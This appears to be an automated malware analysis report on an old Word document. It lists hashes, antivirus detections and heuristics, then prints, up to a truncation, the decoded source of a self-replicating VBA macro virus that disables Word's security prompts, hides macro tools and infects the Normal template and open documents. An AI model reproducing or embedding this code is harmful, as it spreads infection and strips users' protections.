Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a8d5c8b884f7edda…

MALICIOUS

Office (OLE)

93.5 KB Created: 1999-10-09 11:29:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 222e2a98b297ab27cc70cf252f8a67ba SHA-1: 28813e3474c8c16171bee4b198ea7b7706f3a504 SHA-256: a8d5c8b884f7eddac32720bf7f5cc8c426dc97c87c1017aef2bffb3ae0c5ba94
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is identified as malicious by ClamAV with multiple detections, including Win.Trojan.Pivis-2 and Doc.Trojan.Opey-12. It contains VBA macros, specifically an AutoOpen macro and an Auto_Close macro, which are commonly used to execute malicious code upon opening or closing the document. The script attempts to disable security features within Microsoft Word, such as macro protection and the 'Visual Basic' command bar, indicating an intent to hinder analysis and facilitate further malicious actions.

Heuristics 5

  • ClamAV: Win.Trojan.Pivis-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Pivis-2
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 18755 bytes
SHA-256: 7904a68517a24dbe4d20b6d0934cfb34ff314a2a93a9b979559c580c1b4d8a72
Detection
ClamAV: Doc.Trojan.Opey-12
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "xHeCs3"
Sub vxConTrol()
'
' Cetas Virus version 3.0 by xHeCs
' ATTENTION LAMERS that's you !!!.
'     You can learn a lot from this virus, But Please respect
' What is not yours.
'
On Error Resume Next
Application.UserName = "PAcMAn"
Application.UserAddress = "PAcMAn ZonE"
Application.UserInitials = "xHeCs"
With Dialogs(wdDialogFileSummaryInfo)
        .Author = "xHeCs"
        .Comments = "Life is like a box of chocolate you'll never know what your gonna get :)"
        .Execute
End With
With Options
        .ConfirmConversions = False
        .VirusProtection = False
        .SaveNormalPrompt = False
End With
With ActiveDocument
   .ReadOnlyRecommended = False
End With
On Error Resume Next
CommandBars("Visual Basic").Visible = False
CommandBars("Visual Basic").Enabled = False
CommandBars("Visual Basic").Protection = msoBarNoChangeVisible
CommandBars("Visual Basic").Protection = msoBarNoCustomize
CommandBars("Tools").Controls("Macro").Delete
CommandBars("Tools").Controls("Customize...").Delete
CustomizationContext = NormalTemplate
FindKey(BuildKeyCode(wdKeyF11, wdKeyAlt)).Disable
FindKey(BuildKeyCode(wdKeyF8, wdKeyAlt)).Disable

NTInfected = False
For I = NormalTemplate.VBProject.VBComponents.Count To 1 Step -1
            clan = NormalTemplate.VBProject.VBComponents(I).Name
                If clan = "xHeCs3" Then NTInfected = True
                If (clan <> "xHeCs3") And (clan <> "ThisDocument") Then Application.OrganizerDelete Source:=NormalTemplate.FullName, Name:=clan, Object:=wdOrganizerObjectProjectItems
Next I
    For Each opendoc In Documents
            ODInfected = False
            With opendoc
                For J = opendoc.VBProject.VBComponents.Count To 1 Step -1
                clan = opendoc.VBProject.VBComponents(J).Name
                    If clan = "xHeCs3" Then ODInfected = True
                    If (clan <> "xHeCs3") And (clan <> "ThisDocument") And (clan <> "Reference to Normal") Then Application.OrganizerDelete Source:=opendoc.FullName, Name:=clan, Object:=wdOrganizerObjectProjectItems
     Next J
     If ODInfected = False Then
                    Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=opendoc.FullName, Name:="xHeCs3", Object:=wdOrganizerObjectProjectItems
     opendoc.SaveAs FileName:=opendoc.FullName
                End If
            End With
        Next opendoc
            If NTInfected = False Then
                Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="xHeCs3", Object:=wdOrganizerObjectProjectItems
                NormalTemplate.Save
            End If


Application.VBE.ActiveVBProject.VBComponents("xHeCs3").Export "c:\WinCTL.sys"

For I = 1 To NormalTemplate.VBProject.VBComponents.Count
  If NormalTemplate.VBProject.VBComponents(I).Name = "xHeCs3" Then NormInstall = True
Next I
For I = 1 To ActiveDocument.VBProject.VBComponents.Count
  If ActiveDocument.VBProject.VBComponents(I).Name = "xHeCs3" Then ActivInstall = True
Next I
If ActivInstall = True And NormInstall = False Then Set Target = NormalTemplate.VBProject _
Else: If ActivInstall = False And NormInstall = True Then Set Target = ActiveDocument.VBProject
Target.VBComponents.Import ("c:\WinCtl.sys")
End Sub
Sub FileSave()
    On Error Resume Next
    Call vxConTrol
    ActiveDocument.Save
End Sub
Sub FileClose()
    On Error Resume Next
    Call vxConTrol
    If ActiveDocument.Saved = False Then ActiveDocument.Save
    ActiveDocument.Close
End Sub
Sub AutoOpen()
    On Error Resume Next
    Call vxConTrol
End Sub
Sub FileExit()
    On Error Resume Next
    Call vxConTrol
    If ActiveDocument.Saved = False Then ActiveDocument.Save
    Application.quit
End Sub
Sub FileNew()
   
... (truncated)

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